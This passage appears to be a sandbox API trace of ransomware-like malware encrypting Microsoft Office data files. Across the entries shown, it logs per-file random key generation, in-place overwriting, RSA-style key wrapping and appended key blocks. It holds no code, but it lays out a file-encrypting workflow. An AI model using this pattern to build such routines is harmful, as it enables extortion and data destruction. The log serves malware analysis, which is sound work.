nNumberOfBytesToWrite=0x98fc4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x98fc4, lpOverlapped=0x0) returned 1 [0211.503] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x98fc4 [0211.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df4a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.504] WriteFile (in: hFile=0x2220, lpBuffer=0x30df4a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df4a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.504] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.504] CloseHandle (hObject=0x2220) returned 1 [0211.506] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0528 | out: pbBuffer=0x30e0528) returned 1 [0211.506] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0211.506] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\visiomui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0211.508] ReadFile (in: hFile=0x2220, lpBuffer=0x6fc020, nNumberOfBytesToRead=0x98e08, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6fc020*, lpNumberOfBytesRead=0x2e1f9bc*=0x98e08, lpOverlapped=0x0) returned 1 [0211.694] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-626184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.694] WriteFile (in: hFile=0x2220, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x98e08, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x98e08, lpOverlapped=0x0) returned 1 [0211.700] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x98e08 [0211.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.700] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0528*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.701] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0528*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0528*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.701] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.701] CloseHandle (hObject=0x2220) returned 1 [0211.703] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfdf0 | out: pbBuffer=0x30dfdf0) returned 1 [0211.703] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0211.703] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0211.704] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x62499, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x62499, lpOverlapped=0x0) returned 1 [0211.924] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-402585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.925] WriteFile (in: hFile=0x2220, lpBuffer=0x37134c8*, nNumberOfBytesToWrite=0x62499, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x37134c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x62499, lpOverlapped=0x0) returned 1 [0211.931] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x62499 [0211.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.932] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfdf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.932] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfdf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfdf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.932] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.933] CloseHandle (hObject=0x2220) returned 1 [0211.937] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0e70 | out: pbBuffer=0x30e0e70) returned 1 [0211.938] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69c0 | out: pbBuffer=0x30f69c0) returned 1 [0211.938] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\visio.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0211.944] ReadFile (in: hFile=0x2220, lpBuffer=0x36b1020, nNumberOfBytesToRead=0x387c3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36b1020*, lpNumberOfBytesRead=0x2e1f9bc*=0x387c3, lpOverlapped=0x0) returned 1 [0211.978] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-231363, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.978] WriteFile (in: hFile=0x2220, lpBuffer=0x36e97f0*, nNumberOfBytesToWrite=0x387c3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36e97f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x387c3, lpOverlapped=0x0) returned 1 [0211.983] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x387c3 [0211.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0211.983] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0e70*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0211.983] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0e70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0e70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0211.984] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0211.984] CloseHandle (hObject=0x2220) returned 1 [0211.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0211.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69a0 | out: pbBuffer=0x30f69a0) returned 1 [0211.986] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0211.986] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x2b0f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2b0f, lpOverlapped=0x0) returned 1 [0212.006] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-11023, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.006] WriteFile (in: hFile=0x2220, lpBuffer=0x30e6b90*, nNumberOfBytesToWrite=0x2b0f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e6b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2b0f, lpOverlapped=0x0) returned 1 [0212.007] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2b0f [0212.007] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.007] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.007] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.008] WriteFile (in: hFile=0x2220, lpBuffer=0x30f69a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f69a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.008] CloseHandle (hObject=0x2220) returned 1 [0212.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0d68 | out: pbBuffer=0x30e0d68) returned 1 [0212.026] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.026] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\publishermui.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.027] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x294b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x294b, lpOverlapped=0x0) returned 1 [0212.039] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-10571, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.040] WriteFile (in: hFile=0x2220, lpBuffer=0x30e69d0*, nNumberOfBytesToWrite=0x294b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e69d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x294b, lpOverlapped=0x0) returned 1 [0212.040] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x294b [0212.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.040] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0d68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.040] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0d68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.041] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.041] CloseHandle (hObject=0x2220) returned 1 [0212.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0212.061] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0212.061] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.tree.dat", dwFileAttributes=0x80) returned 1 [0212.063] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x236f9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x236f9, lpOverlapped=0x0) returned 1 [0212.087] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-145145, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.087] WriteFile (in: hFile=0x2220, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x236f9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x236f9, lpOverlapped=0x0) returned 1 [0212.088] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x236f9 [0212.088] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.088] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.088] WriteFile (in: hFile=0x2220, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.088] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.089] CloseHandle (hObject=0x2220) returned 1 [0212.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0210 | out: pbBuffer=0x30e0210) returned 1 [0212.090] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6930 | out: pbBuffer=0x30f6930) returned 1 [0212.090] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\publisher.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.091] ReadFile (in: hFile=0x2220, lpBuffer=0x34be010, nNumberOfBytesToRead=0x1851f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x1851f, lpOverlapped=0x0) returned 1 [0212.130] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-99615, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.130] WriteFile (in: hFile=0x2220, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x1851f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1851f, lpOverlapped=0x0) returned 1 [0212.131] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1851f [0212.131] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.131] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0210*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.131] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0210*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0210*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.132] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6930*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6930*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.132] CloseHandle (hObject=0x2220) returned 1 [0212.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0420 | out: pbBuffer=0x30e0420) returned 1 [0212.133] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a70 | out: pbBuffer=0x30f6a70) returned 1 [0212.133] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.tree.dat", dwFileAttributes=0x80) returned 1 [0212.134] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x117c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x117c, lpOverlapped=0x0) returned 1 [0212.141] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-4476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.141] WriteFile (in: hFile=0x2220, lpBuffer=0x30e5200*, nNumberOfBytesToWrite=0x117c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e5200*, lpNumberOfBytesWritten=0x2e1f9bc*=0x117c, lpOverlapped=0x0) returned 1 [0212.141] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x117c [0212.141] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.141] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0420*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.141] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0420*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.142] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6a70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a70*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.142] CloseHandle (hObject=0x2220) returned 1 [0212.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0000 | out: pbBuffer=0x30e0000) returned 1 [0212.143] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6980 | out: pbBuffer=0x30f6980) returned 1 [0212.143] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proofing.msi.16.en-us.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.143] ReadFile (in: hFile=0x2220, lpBuffer=0x30ca018, nNumberOfBytesToRead=0xcee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesRead=0x2e1f9bc*=0xcee, lpOverlapped=0x0) returned 1 [0212.155] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-3310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.155] WriteFile (in: hFile=0x2220, lpBuffer=0x30e4078*, nNumberOfBytesToWrite=0xcee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcee, lpOverlapped=0x0) returned 1 [0212.156] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcee [0212.156] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.156] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0000*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.156] WriteFile (in: hFile=0x2220, lpBuffer=0x30e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.156] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6980*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.156] CloseHandle (hObject=0x2220) returned 1 [0212.158] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfce8 | out: pbBuffer=0x30dfce8) returned 1 [0212.158] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0212.158] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.tree.dat", dwFileAttributes=0x80) returned 1 [0212.158] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x5e25, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x5e25, lpOverlapped=0x0) returned 1 [0212.201] SetFilePointer (in: hFile=0x2220, lDistanceToMove=-24101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0212.201] WriteFile (in: hFile=0x2220, lpBuffer=0x34be010*, nNumberOfBytesToWrite=0x5e25, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5e25, lpOverlapped=0x0) returned 1 [0212.202] SetFilePointer (in: hFile=0x2220, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5e25 [0212.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0212.202] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfce8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0212.202] WriteFile (in: hFile=0x2220, lpBuffer=0x30dfce8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfce8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0212.202] WriteFile (in: hFile=0x2220, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0212.202] CloseHandle (hObject=0x2220) returned 1 [0212.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0528 | out: pbBuffer=0x30e0528) returned 1 [0212.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0212.228] SetFileAttributesW (lpFileName="\\Program Files\\Microsoft Office\\root\\rsod\\proof.fr-fr.msi.16.fr-fr.boot.tree.dat", dwFileAttributes=0x80) returned 1 [0212.250] ReadFile (in: hFile=0x2220, lpBuffer=0x30e4078, nNumberOfBytesToRead=0x4f96, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4078*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f96, lpOverlapped=0x0) returned 